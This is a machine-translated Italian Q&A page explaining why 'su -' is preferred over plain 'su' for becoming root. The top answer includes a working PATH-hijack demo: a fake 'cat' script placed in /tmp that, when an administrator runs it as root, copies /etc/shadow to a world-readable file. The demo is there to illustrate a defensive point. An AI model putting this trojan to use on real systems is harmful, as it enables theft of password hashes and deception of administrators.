it-swarm.it

Perché usiamo su - e non solo su?

Non capisco perché su - è preferito su su per accedere come root.

187
Dharmit

su - richiama una shell di accesso dopo aver cambiato l'utente. Una shell di accesso reimposta la maggior parte delle variabili di ambiente, fornendo una base pulita.

su cambia semplicemente l'utente, fornendo a Shell normale un ambiente quasi uguale a quello del vecchio utente.

Immagina di essere uno sviluppatore di software con accesso normale dell'utente a una macchina e il tuo amministratore ignorante non ti darà l'accesso root. Speriamo di ingannarlo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Ora chiedi al tuo amministratore perché non puoi cat il file fittizio nella tua cartella home, semplicemente non funzionerà!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Se il tuo amministratore non è così intelligente o solo un po 'pigro, potrebbe venire alla tua scrivania e provare con i suoi poteri da superutente:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Grazie, super amministratore!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Lui, lui.

Forse hai notato che il corrotto $PATH la variabile non è stata ripristinata. Questo non sarebbe successo se l'amministratore avesse invocato su - anziché.

251
wag

su - ti accede completamente come root, mentre su lo rende così fingi di essere root.

L'esempio più ovvio di ciò è che ~ è la home directory di root se usi su -, ma la tua home directory se usi su.

A seconda del sistema in uso, può anche significare la differenza tra Prompt, PATH o file cronologico.

Quindi, se fai parte di un team che gestisce un sistema e il tuo collega ti da un comando per eseguire, sai che funzionerà allo stesso modo se entrambi stai usando su -, ma se si utilizzano entrambi su, potrebbero esserci delle differenze dovute a configurazioni Shell diverse.

D'altra parte, se si desidera eseguire un comando come root ma utilizzando la propria configurazione, forse su è meglio per te.

Inoltre, non dimenticare di Sudo, che ha un -s opzione per avviare una Shell in esecuzione come root. Naturalmente, anche questo ha regole diverse e cambiano a seconda della distribuzione che stai usando.

37
Mikel

La differenza principale è:

su - username imposta l'ambiente Shell come se fosse un login pulito come utente specificato, accede e utilizza variabili ambiente specificate per gli utenti,

su username avvia solo Shell con le impostazioni di ambiente correnti per l'utente specificato.

Se il nome utente non è specificato con su e su -, l'account di root è implicito come predefinito.

2
Akhil MK

Uso su - quando sono in una directory come utente normale ma voglio passare a root e rimanere nella stessa directory dopo il passaggio. Quando usi su - passa l'utente a root e ti porta anche a/root che è la home directory di root.

1
Calvin Dike